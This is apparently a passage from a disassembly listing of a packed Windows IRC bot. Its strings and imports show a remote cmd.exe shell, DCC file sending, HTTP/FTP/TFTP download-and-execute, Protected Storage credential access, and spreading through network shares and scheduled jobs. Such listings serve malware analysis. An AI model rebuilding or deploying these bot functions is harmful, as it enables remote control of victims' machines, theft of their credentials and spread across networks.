loc_411914:				; CODE XREF: sub_4118FE+Ej
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_411922
		push	esi
		call	dword_4120B4	; LocalFree


loc_411922:				; CODE XREF: sub_4118FE+1Bj
		pop	esi
		retn
sub_4118FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411924	proc near		; CODE XREF: sub_4011C4+C1p
					; sub_4050D1+90p ...
		jmp	dword_4121D4
sub_411924	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41192A	proc near		; CODE XREF: sub_401B81+C9p
					; sub_402C11+101p ...
		jmp	dword_412118
sub_41192A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411930	proc near		; CODE XREF: sub_402230+B1p
					; sub_402230+1ABp ...
		jmp	dword_41211C
sub_411930	endp


; =============== S U B	R O U T	I N E =======================================



sub_411936	proc near		; DATA XREF: kkrunchy:off_4122CCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_411958
		test	[esp+4+arg_0], 1
		jz	short loc_41194C
		push	esi
		call	sub_41176C
		pop	ecx


loc_41194C:				; CODE XREF: sub_411936+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411936	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411952	proc near		; CODE XREF: sub_41185F+1Fp
		jmp	dword_412120
sub_411952	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411958	proc near		; CODE XREF: sub_411936+3p
		jmp	dword_412124
sub_411958	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-14h]
		jmp	loc_41098C
; ---------------------------------------------------------------------------


loc_411968:				; DATA XREF: kkrunchy:0041238Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_41098C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	loc_41098C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_41098C
; ---------------------------------------------------------------------------


loc_411980:				; DATA XREF: sub_4101E6o
		mov	eax, offset dword_412360
		jmp	loc_4117C0
; ---------------------------------------------------------------------------
		align 4
		dd 19Dh	dup(0)
dword_412000	dd 77DD22EAh		; DATA XREF: sub_401000+55r
					; sub_404ACF+116r ...
dword_412004	dd 77DD5C55h		; DATA XREF: sub_401000+B2r
					; sub_404EDC+91r
dword_412008	dd 77DD7F3Eh		; DATA XREF: sub_401000+22r
dword_41200C	dd 77DD23D7h		; DATA XREF: sub_404ACF+14Dr
					; sub_405FF3+20Ar ...
dword_412010	dd 77DD59F0h		; DATA XREF: sub_404EDC+83r
dword_412014	dd 77DD590Bh		; DATA XREF: sub_404EDC+24r
dword_412018	dd 77DDACABh		; DATA XREF: sub_405FF3+A4r
dword_41201C	dd 77DE042Eh		; DATA XREF: sub_40B31E+59r
dword_412020	dd 77DE03D2h		; DATA XREF: sub_40B31E+1Er
dword_412024	dd 77DDEBA2h		; DATA XREF: sub_40B31E+18r
dword_412028	dd 77DD189Ah		; DATA XREF: sub_401000+EBr
					; sub_404ACF+226r ...
		align 10h
dword_412030	dd 77E65F4Ch		; DATA XREF: sub_405FF3+B2r
dword_412034	dd 77E7C657h		; DATA XREF: sub_405FF3+D6r
					; sub_409277+1D3r ...
dword_412038	dd 77E7513Ch		; DATA XREF: sub_405F9A+8r
dword_41203C	dd 77E705C5h		; DATA XREF: sub_404FA8+3Br
dword_412040	dd 77E74672h		; DATA XREF: sub_404EDC+6Br
					; sub_4101E6+4C7r
dword_412044	dd 77E705B0h		; DATA XREF: sub_404E31+18r
dword_412048	dd 77E7A837h		; DATA XREF: sub_404E31+30r
					; sub_404FEB+80r ...
dword_41204C	dd 77E73CE2h		; DATA XREF: sub_404E31+67r
dword_412050	dd 77E7011Ah		; DATA XREF: sub_404E31+9Dr
dword_412054	dd 77E704FCh		; DATA XREF: sub_404D00+16r
					; sub_404DAD+15r ...
dword_412058	dd 77E77CCEh		; DATA XREF: sub_40311D+38r
dword_41205C	dd 77E805D8h		; DATA XREF: sub_402D7B+2r
					; sub_4045B7+12r ...
dword_412060	dd 77E7A5FDh		; DATA XREF: sub_402D7B+Fr
					; sub_4045B7+1Fr ...
dword_412064	dd 77E75CB5h		; DATA XREF: sub_40287C+190r
					; sub_4052DF+E6r ...
dword_412068	dd 77E6BD13h		; DATA XREF: sub_402230+CCr
					; sub_4050D1+123r
dword_41206C	dd 77F5157Dh		; DATA XREF: sub_402230+DAr
					; sub_407237+8Br ...
dword_412070	dd 77E79D8Ch		; DATA XREF: sub_4018A7+20r
					; sub_404FEB+BCr ...
dword_412074	dd 77E6CBF9h		; DATA XREF: sub_401621+50r
dword_412078	dd 77E7727Ah		; DATA XREF: sub_401621+64r
dword_41207C	dd 77E76C1Ah		; DATA XREF: sub_405FF3+2Fr
dword_412080	dd 77E79CE3h		; DATA XREF: sub_401621+BAr
dword_412084	dd 77E61BB8h		; DATA XREF: sub_401621+11Cr
					; sub_4050D1+1FCr
dword_412088	dd 77EB7624h		; DATA XREF: sub_401621+193r
dword_41208C	dd 77E7FF65h		; DATA XREF: sub_401621+1B3r
dword_412090	dd 77E78B82h		; DATA XREF: sub_401621+210r
dword_412094	dd 77E79F93h		; DATA XREF: sub_4011C4+A5r
					; sub_40287C+151r ...
dword_412098	dd 77E7A099h		; DATA XREF: sub_4011C4+ACr
					; sub_40287C+158r ...
dword_41209C	dd 77E706B7h		; DATA XREF: sub_4011C4+E5r
					; sub_404639+110r ...
dword_4120A0	dd 77E61A54h		; DATA XREF: sub_4011C4+12Dr
					; sub_40495C+7Cr
dword_4120A4	dd 77E61BE6h		; DATA XREF: sub_4011C4+1F0r
					; sub_4011C4+299r ...
dword_4120A8	dd 77E616B4h		; DATA XREF: sub_4011C4+22Dr
					; sub_404A33+2Er
dword_4120AC	dd 77E77963h		; DATA XREF: sub_4011C4+255r
					; sub_4011C4+274r ...
dword_4120B0	dd 77E70396h		; DATA XREF: sub_40110A+15r
					; sub_4050D1:loc_405263r
dword_4120B4	dd 77E79A45h		; DATA XREF: sub_4118FE+1Er
dword_4120B8	dd 77E73628h		; DATA XREF: sub_40110A+24r
					; sub_401985+30r ...
dword_4120BC	dd 77E7AC37h		; DATA XREF: sub_40756C+D0r
dword_4120C0	dd 77E75090h		; DATA XREF: sub_409843+71r
dword_4120C4	dd 77E74D76h		; DATA XREF: sub_409843+3Dr
dword_4120C8	dd 77E77797h		; DATA XREF: sub_409843+2Cr
dword_4120CC	dd 77E686CCh		; DATA XREF: sub_4067B2+3Er
					; sub_40682C+10Fr
dword_4120D0	dd 77E6C0E3h		; DATA XREF: sub_4067B2+15r
					; sub_40682C+6Cr ...
dword_4120D4	dd 77E7751Ah		; DATA XREF: sub_406A40:loc_406AA1r
					; sub_406AB7:loc_406B18r ...
dword_4120D8	dd 77E6D75Bh		; DATA XREF: sub_406A40+14r
					; sub_406AB7+14r ...
dword_4120DC	dd 77E802FCh		; DATA XREF: sub_406A40+Ar
					; sub_406AB7+Ar ...
dword_4120E0	dd 77E7176Ch		; DATA XREF: sub_406BBC+40r
dword_4120E4	dd 77E75CEBh		; DATA XREF: sub_406F84+6Br
					; sub_406F84:loc_40707Cr
dword_4120E8	dd 77E79908h		; DATA XREF: sub_4071D2+26r
dword_4120EC	dd 77F7E21Fh		; DATA XREF: sub_407200+4r
dword_4120F0	dd 77E80656h		; DATA XREF: sub_4011C4:loc_40124Ar
					; sub_404A33+14r
dword_4120F4	dd 77F7E300h		; DATA XREF: sub_40720B+4r
dword_4120F8	dd 77E79C90h		; DATA XREF: sub_401621+A2r
dword_4120FC	dd 77E78C17h		; DATA XREF: kkrunchy:00411219r
dword_412100	dd 77E7C2C4h		; DATA XREF: kkrunchy:0041127Er
dword_412104	dd 77E73167h		; DATA XREF: sub_4101E6:loc_410489r
					; sub_4101E6+320r ...
dword_412108	dd 77E73BEFh		; DATA XREF: sub_4101E6+58Dr
dword_41210C	dd 77E7AC5Eh		; DATA XREF: sub_40FDB3+96r
dword_412110	dd 77E76432h		; DATA XREF: sub_409918+1E2r
					; sub_4101E6+2C2r ...
		align 8
dword_412118	dd 77C1C055h		; DATA XREF: kkrunchy:003F2B70o
					; sub_41192Ar
dword_41211C	dd 77C423F5h		; DATA XREF: sub_411930r
dword_412120	dd 77C219F5h		; DATA XREF: sub_411952r
dword_412124	dd 77C20C5Bh		; DATA XREF: sub_411958r
dword_412128	dd 77C21AD8h		; DATA XREF: kkrunchy:loc_4117C0r
dword_41212C	dd 77C1CF9Eh		; DATA XREF: sub_4117BAr
dword_412130	dd 77C43790h		; DATA XREF: sub_4117B4r
dword_412134	dd 77C43CB2h		; DATA XREF: sub_4117AEr
dword_412138	dd 77C43DBCh		; DATA XREF: sub_4117A8r
dword_41213C	dd 77C41FA0h		; DATA XREF: sub_4114B8r
dword_412140	dd 77C43150h		; DATA XREF: sub_4117A2r
dword_412144	dd 77C33FDEh		; DATA XREF: sub_41179Cr
dword_412148	dd 77C33FC1h		; DATA XREF: sub_411796r
dword_41214C	dd 77C3CE0Ch		; DATA XREF: sub_411790r
dword_412150	dd 77C42D60h		; DATA XREF: sub_41178Ar
dword_412154	dd 77C1C6F3h		; DATA XREF: sub_411784r
dword_412158	dd 77C435C0h		; DATA XREF: sub_41177Er
dword_41215C	dd 77C3E5D9h		; DATA XREF: sub_411778r
dword_412160	dd 77C28925h		; DATA XREF: sub_411772r
dword_412164	dd 77C28933h		; DATA XREF: sub_41176Cr
dword_412168	dd 77C3CCE7h		; DATA XREF: sub_411766r
dword_41216C	dd 77C37FEDh		; DATA XREF: sub_411760r
dword_412170	dd 77C33EB0h		; DATA XREF: sub_41175Ar
dword_412174	dd 77C4B940h		; DATA XREF: sub_4116A0r
dword_412178	dd 77C4B120h		; DATA XREF: sub_411678r
dword_41217C	dd 77C37ADCh		; DATA XREF: sub_41157Cr
dword_412180	dd 77C2AC58h		; DATA XREF: sub_411576r
dword_412184	dd 77C438C0h		; DATA XREF: sub_411570r
dword_412188	dd 77C3C93Ch		; DATA XREF: sub_41152Er
dword_41218C	dd 77C43AB0h		; DATA XREF: sub_411528r
dword_412190	dd 77C3E8C0h		; DATA XREF: sub_411522r
dword_412194	dd 77C1BE00h		; DATA XREF: sub_41151Cr
dword_412198	dd 77C3E140h		; DATA XREF: sub_411516r
dword_41219C	dd 77C3DFB5h		; DATA XREF: sub_411510r
dword_4121A0	dd 77C3BF06h		; DATA XREF: sub_411506r
dword_4121A4	dd 77C3D8F6h		; DATA XREF: sub_411500r
dword_4121A8	dd 77C3E4B9h		; DATA XREF: sub_4114FAr
dword_4121AC	dd 77C3E303h		; DATA XREF: sub_4114F4r
dword_4121B0	dd 77C41FB0h		; DATA XREF: sub_4114EEr
dword_4121B4	dd 77C43490h		; DATA XREF: sub_4114E8r
dword_4121B8	dd 77C46553h		; DATA XREF: sub_4114E2r
dword_4121BC	dd 77C3C813h		; DATA XREF: sub_4114DCr
dword_4121C0	dd 77C43900h		; DATA XREF: sub_4114D6r
dword_4121C4	dd 77C42E10h		; DATA XREF: sub_4114D0r
dword_4121C8	dd 77C2AA6Bh		; DATA XREF: sub_4114CAr
dword_4121CC	dd 77C2AC46h		; DATA XREF: sub_4114C4r
dword_4121D0	dd 77C43710h		; DATA XREF: sub_4114BEr
dword_4121D4	dd 77C421A2h		; DATA XREF: sub_411924r
		dd 0
dword_4121DC	dd 7713BC68h		; DATA XREF: sub_4117FE+44r
		dd 0
dword_4121E4	dd 77428B97h		; DATA XREF: sub_4018D5+28r
					; sub_402230+50Dr ...
		dd 0
dword_4121EC	dd 77D4C96Ah		; DATA XREF: sub_404FEB+9Fr
					; sub_40682C+50r ...
dword_4121F0	dd 77D5C13Ah		; DATA XREF: sub_407A76+D6r
					; sub_410999+4Br
dword_4121F4	dd 77D4456Bh		; DATA XREF: sub_407A76+CFr
dword_4121F8	dd 77D4BDCAh		; DATA XREF: sub_409835+7r
dword_4121FC	dd 77D4702Fh		; DATA XREF: sub_409843+5Ar
dword_412200	dd 77D79D1Ch		; DATA XREF: sub_4101E6+3E9r
		align 8
dword_412208	dd 71AB3E5Dh		; DATA XREF: sub_403B44+8Br
					; sub_403C04+B9r ...
dword_41220C	dd 71AB1B7Bh		; DATA XREF: sub_4117E8r
dword_412210	dd 71AB8629h		; DATA XREF: sub_403D70+6r
					; sub_40E707+110r ...
dword_412214	dd 71AB1890h		; DATA XREF: sub_403767+12Dr
					; sub_403A1B+81r ...
dword_412218	dd 71AB3F8Dh		; DATA XREF: sub_403644+B8r
					; sub_403EA9+5Dr ...
dword_41221C	dd 71AB3ECEh		; DATA XREF: sub_403644+C5r
					; sub_40DE9A+AAr ...
dword_412220	dd 71AB1AF4h		; DATA XREF: sub_403D9D+Er
					; sub_407A76+FB7r ...
dword_412224	dd 71ABF628h		; DATA XREF: sub_4034DE+1Er
					; sub_40357F+1Er
dword_412228	dd 71AB155Ah		; DATA XREF: sub_40344B+1Ar
					; sub_40346D+Fr
dword_41222C	dd 71AB3C22h		; DATA XREF: sub_403366+7r
					; sub_403644+83r ...
dword_412230	dd 71AB401Ch		; DATA XREF: sub_402C11+4Fr
					; sub_40544F+154r ...
dword_412234	dd 71ABD755h		; DATA XREF: sub_402C11+86r
					; sub_4072FC+1A4r
dword_412238	dd 71AB1740h		; DATA XREF: sub_402C11:loc_402CD9r
					; sub_403B44+96r ...
dword_41223C	dd 71AB868Dh		; DATA XREF: sub_403767+89r
					; sub_403767+1A3r
dword_412240	dd 71AB1A6Dh		; DATA XREF: sub_403D92+4r
					; sub_407A76+FBEr ...
dword_412244	dd 71AB350Dh		; DATA XREF: sub_402A12+38r
					; sub_402A12+12Er ...
dword_412248	dd 71AB1746h		; DATA XREF: sub_402A12+91r
					; sub_402A12+168r ...
dword_41224C	dd 71AB2BBFh		; DATA XREF: sub_402A12+E8r
					; sub_403EA9+B6r ...
dword_412250	dd 71AB157Eh		; DATA XREF: sub_401B81+7Dr
					; sub_40348C+1Er ...
dword_412254	dd 71AB12F8h		; DATA XREF: sub_401B81+163r
					; sub_403EA9+A1r ...
dword_412258	dd 71AB5690h		; DATA XREF: sub_401985+CFr
					; sub_403DB2+1Ar ...
dword_41225C	dd 71AB12A7h		; DATA XREF: sub_401985+FEr
					; sub_401B81+16Ar
dword_412260	dd 71AB1ED3h		; DATA XREF: sub_403EA9+59Fr
					; sub_40DE9A+121r
dword_412264	dd 71AB1836h		; DATA XREF: sub_4050D1+202r
					; sub_4052DF+DFr ...
dword_412268	dd 71AB1444h		; DATA XREF: sub_40DE9A+19Ar
dword_41226C	dd 71AB14DCh		; DATA XREF: sub_410C55+D8r
dword_412270	dd 71AB32CAh		; DATA XREF: sub_410C55+6Br
dword_412274	dd 71AB41DAh		; DATA XREF: kkrunchy:0041138Er
dword_412278	dd 71AB5DE2h		; DATA XREF: sub_403644+D3r
		align 10h
flt_412280	dd 1.0e-3		; DATA XREF: sub_401985+18Er
					; sub_401985+1B0r ...
flt_412284	dd 9.765625e-4		; DATA XREF: sub_40656A+1A6r
dword_412288	dd 0FFFFFFFFh, 406C2Dh,	406C43h, 0 ; DATA XREF:	sub_406BBC+5o
dword_412298	dd 0FFFFFFFFh, 406D26h,	406D3Eh, 0 ; DATA XREF:	sub_406CB2+5o
dword_4122A8	dd 0FFFFFFFFh, 411474h,	41148Ah, 0 ; DATA XREF:	kkrunchy:004111EDo
		dd offset loc_411440
		dd offset loc_411456
		dd offset dword_412300
off_4122C4	dd offset sub_4118B5	; DATA XREF: sub_411883+12o
					; kkrunchy:004118EAo ...
		dd offset dword_412348
off_4122CC	dd offset sub_411936	; DATA XREF: kkrunchy:off_419180o
					; kkrunchy:off_4191A0o
off_4122D0	dd offset off_419180	; DATA XREF: kkrunchy:004122E8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4122D0
dword_4122EC	dd 3 dup(0)		; DATA XREF: kkrunchy:00412310o
		dd 1, 4122E8h
dword_412300	dd 3 dup(0)		; DATA XREF: kkrunchy:004122C0o
		dd offset off_419180
		dd offset dword_4122EC+4
		align 8
off_412318	dd offset off_4191A0	; DATA XREF: kkrunchy:00412330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_412318
		dd 0
		db    0			; DATA XREF: kkrunchy:00412358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 412330h
dword_412348	dd 3 dup(0)		; DATA XREF: kkrunchy:004122C8o
		dd offset off_4191A0
		dd offset unk_412338
		align 10h
dword_412360	dd 19930520h, 4, 412380h, 5 dup(0) ; DATA XREF:	kkrunchy:loc_411980o
		dd 0FFFFFFFFh, 411960h,	0
		dd offset loc_411968
		dd 1, 411970h, 2, 411978h, 0
		dd offset off_419180
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h,	4118D1h, 0
dword_4123C0	dd 1, 4123A0h		; DATA XREF: kkrunchy:004123D4o
dword_4123C8	dd 0			; DATA XREF: sub_41185F+19o
		dd offset sub_4118FE
		dd 0
		dd offset dword_4123C0
		dd 30Ah	dup(0)
off_413000	dd offset dword_413098	; DATA XREF: sub_401000+Cr
					; sub_401000+1Co
		dd offset dword_41305C
		dd offset dword_413040
		dd offset dword_413014
		dd 0
dword_413014	dd 0AFCB978Dh, 0B4E2AB90h, 0E38DB8CCh, 8DEAD4EAh, 94EABAB0h
					; DATA XREF: kkrunchy:0041300Co
		dd 83DBB5B9h, 0E89089E5h, 8EC6D2F0h, 9AEB8282h,	2 dup(0)
dword_413040	dd 8FFEA18Dh, 92CC87A2h, 0E59687E5h, 8DDACFF6h,	0B4C4BAB8h
					; DATA XREF: kkrunchy:00413008o
		dd 0A399h, 0
dword_41305C	dd 8FFEA18Dh, 92CC87A2h, 0E59687E5h, 8DDACFF6h,	0ACC4BAB8h
					; DATA XREF: kkrunchy:00413004o
		dd 98DA88BCh, 0C5A3B9CEh, 87DBD2F1h, 9ECEBAB0h,	98D795A7h
		dd 0F3AD96D7h, 90CCF3EAh, 9EFBA7A8h, 0A6h, 0
dword_413098	dd 8FFEA18Dh, 92CC87A2h, 0E59687E5h, 8DDACFF6h,	0ACC4BAB8h
					; DATA XREF: kkrunchy:off_413000o
		dd 98DA88BCh, 0C5A3B9CEh, 87DBD2F1h, 9ECEBAB0h,	98D795A7h
		dd 0F3AD96D7h, 0EAh, 0
dword_4130CC	dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h
					; DATA XREF: sub_4011C4+2CAo
		dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h
		dd 2E0203h
dword_4130F8	dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h
					; DATA XREF: sub_4011C4+2B1o
		dd 6E697274h, 30032067h, 73250234h, 2E0203h
dword_41311C	dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h
					; DATA XREF: sub_4011C4+215o
		dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h
dword_413144	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 6220676Eh
					; DATA XREF: sub_4011C4+46o
		dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h
		dd 2037325h, 3Ah
dword_413174	dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h
					; DATA XREF: sub_4014B0+6Co
		dd 2343003h, 2037325h, 0
aKilling	db 'Killing',0          ; DATA XREF: sub_4014B0+65o
aListing	db 'Listing',0          ; DATA XREF: sub_4014B0+5Bo
dword_4131A4	dd 303h			; DATA XREF: sub_401571+91o
aCmd_exeProcess	db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401621+25Fo
aCouldNotReadDa	db 'Could not read data from process.',0 ; DATA XREF: sub_401621+24Co
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_401621+4Ao
aErrorWhileExec	db 'Error while executing command.',0 ; DATA XREF: sub_4018D5+9Co
		align 4
asc_413214	db 0Dh,0Ah,0		; DATA XREF: sub_4018D5+84o
					; sub_402EFD+148o ...
		align 4
aRemoteCmdThrea	db 'Remote cmd thread',0 ; DATA XREF: sub_4018D5+6Bo
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_4018D5+22o
					; sub_402230+507o ...
		align 4
dword_413234	dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h
					; DATA XREF: sub_401985+1C7o
		dd 3206D6Fh, 25023430h,	20020373h, 3206E69h, 25023430h
		dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h
		dd 66332E30h, 424B0203h, 6365732Fh, 0
dword_413280	dd 3430032Dh, 3752502h,	52202D02h, 69656365h, 676E6976h
					; DATA XREF: sub_401985+BCo
		dd 34300320h, 3732502h,	72662002h, 3206D6Fh, 25023430h
		dd 20373h
dword_4132AC	dd 6277h		; DATA XREF: sub_401985+3Co
					; sub_402018+12Do ...
dword_4132B0	dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h
					; DATA XREF: sub_401B81+2D0o
		dd 3732502h, 6E692002h,	34300320h, 2E302502h, 2036632h
		dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h
		dd 732F424Bh, 6365h
dword_4132F4	dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h
					; DATA XREF: sub_401B81+250o
		dd 206F7420h, 2343003h,	2037325h, 6E616320h, 6C6C6563h
		dd 6465h
dword_413320	dd 3430032Dh, 3752502h,	53202D02h, 69646E65h, 320676Eh
					; DATA XREF: sub_401B81+1C7o
		dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h
dword_413348	dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h
					; DATA XREF: sub_401B81+17Eo
		dd 1642520h, 0
aDccSendSS	db 'DCC Send %s (%s)',0 ; DATA XREF: sub_401B81+147o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_401B81+EBo
					; sub_404DAD+62o ...
		align 4
dword_41337C	dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h
					; DATA XREF: sub_401EA8+E2o
		dd 206D6F72h, 2343003h,	2037325h, 0
dword_4133A0	dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h
					; DATA XREF: sub_401FA3+5Do
		dd 2343003h, 2037325h, 0
aContentLengthU	db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402018+D7o
		align 4
aContentLength	db 'Content-Length: ',0 ; DATA XREF: sub_402018+AFo
		align 4
asc_4133EC	db 0Dh,0Ah		; DATA XREF: sub_402018+92o
		db 0Dh,0Ah,0
		align 4
aGetSHttp1_0Hos	db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402018+40o
					; sub_4063E4+BAo
		db 'Host: %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
unk_413414	db  2Dh	; -		; DATA XREF: sub_402230+573o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aUnsupportedPro	db '- Unsupported protocol specified.',0
		align 10h
dword_413440	dd 3430032Dh, 3752502h,	45202D02h, 726F7272h, 69687720h
					; DATA XREF: sub_402230+549o
		dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h
		dd 2E020373h, 0
dword_413470	dd 3430032Dh, 3752502h,	55202D02h, 6C62616Eh, 6F742065h
					; DATA XREF: sub_402230+533o
		dd 61747320h, 3207472h,	25023430h, 2E020373h, 0
dword_413498	dd 3430032Dh, 3752502h,	53202D02h, 65636375h, 75667373h
					; DATA XREF: sub_402230+4C9o
		dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h
		dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h
		dd 732F424Bh, 73256365h, 2Eh
dword_4134E0	dd 7865202Ch, 74756365h, 676E69h ; DATA	XREF: sub_402230+476o
dword_4134EC	dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402230+46Co
unk_4134F8	db  2Dh	; -		; DATA XREF: sub_402230+34Do
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aNoFileToDownlo	db '- No file to download specified.',0
		align 4
asc_413524:				; DATA XREF: sub_402230+332o
		unicode	0, </>,0
asc_413528:				; DATA XREF: sub_402230+2D0o
					; sub_4101E6+334o
		unicode	0, <:>,0
a69		db '69',0               ; DATA XREF: sub_402230+280o
		align 10h
aTftp		db 'tftp://',0          ; DATA XREF: sub_402230+262o
aAnonymous	db 'anonymous',0        ; DATA XREF: sub_402230+22Fo
		align 4
a21		db '21',0               ; DATA XREF: sub_402230+20Fo
		align 4
aFtp		db 'ftp://',0           ; DATA XREF: sub_402230+1F5o
		align 10h
a80		db '80',0               ; DATA XREF: sub_402230+1BFo
					; sub_4033F9+28o ...
		align 4
aHttp		db 'http://',0          ; DATA XREF: sub_402230+1A5o
dword_41355C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 65722074h
					; DATA XREF: sub_402230+10Do
		dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h
		dd 2E020373h, 0
dword_41358C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 72772074h
					; DATA XREF: sub_402230+F4o
		dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh
		dd 20656C69h, 2343003h,	2037325h, 2Eh
dword_4135C4	dd 656C6966h, 2F2F3Ah	; DATA XREF: sub_402230+ABo
dword_4135CC	dd 3430032Dh, 3752502h,	44202D02h, 6C6E776Fh, 6964616Fh
					; DATA XREF: sub_402230+98o
		dd 320676Eh, 25023430h,	20020373h, 3206F74h, 25023430h
		dd 2E020373h, 0
dword_4135FC	dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h
					; DATA XREF: sub_4027CB+97o
		dd 206F7420h, 2343003h,	2037325h, 0
dword_413620	dd 6578652Eh, 0		; DATA XREF: sub_4027CB+3Fo
					; sub_40E496+44o
aQuitRestarting	db 'QUIT :restarting',0 ; DATA XREF: sub_40287C:loc_402A00o
					; sub_407A76+C17o
		align 4
aQuitExitting	db 'QUIT :exitting',0   ; DATA XREF: sub_40287C+17Do
					; sub_407A76:loc_408D31o
		align 4
dword_41364C	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40287C+104o
aModuleSReporte	db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC'
		db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA'
		db 'GS=%08X. Code: %08X (%s). %s...',0
		align 4
aContinuing	db 'Continuing',0       ; DATA XREF: sub_40287C+B3o
		align 4
aRestarting	db 'Restarting',0       ; DATA XREF: sub_40287C+ACo
		align 4
aException_flt	db 'EXCEPTION_FLT',0    ; DATA XREF: sub_40287C:loc_40291Fo
		align 4
aException_int_	db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40287C:loc_402918o
		align 4
aException_stac	db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40287C+95o
		align 10h
aException_nonc	db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0
					; DATA XREF: sub_40287C:loc_4028EAo
		align 4
aException_brea	db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40287C:loc_4028E3o
		align 4
aException_acce	db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40287C:loc_4028DCo
		align 4
aException_ille	db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40287C+59o
		align 4
aException_othe	db 'EXCEPTION_OTHER',0  ; DATA XREF: sub_40287C+34o
aInternetgetcon	db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_402D7B+172o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_402D7B:loc_402EE2o
aPstorecreatein	db 'PStoreCreateInstance',0 ; DATA XREF: sub_402D7B+15Ao
		align 4
aPstorec_dll	db 'pstorec.dll',0      ; DATA XREF: sub_402D7B:loc_402ECAo
aFreeaddrinfo	db 'freeaddrinfo',0     ; DATA XREF: sub_402D7B+108o
		align 4
aGetnameinfo	db 'getnameinfo',0      ; DATA XREF: sub_402D7B+FBo
aGetaddrinfo	db 'getaddrinfo',0      ; DATA XREF: sub_402D7B+F3o
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_402D7B:loc_402E65o
		align 4
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_402D7B+D8o
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_402D7B+CBo
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_402D7B+BEo
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_402D7B+B6o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_402D7B:loc_402E24o
aNetaddalternat	db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_402D7B+97o
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_402D7B+8Ao
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_402D7B+7Do
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_402D7B+70o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_402D7B+63o
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_402D7B+56o
aNetusedel	db 'NetUseDel',0        ; DATA XREF: sub_402D7B+49o
		align 4
aNetuseadd	db 'NetUseAdd',0        ; DATA XREF: sub_402D7B+3Co
		align 4
aNetusegetinfo	db 'NetUseGetInfo',0    ; DATA XREF: sub_402D7B+34o
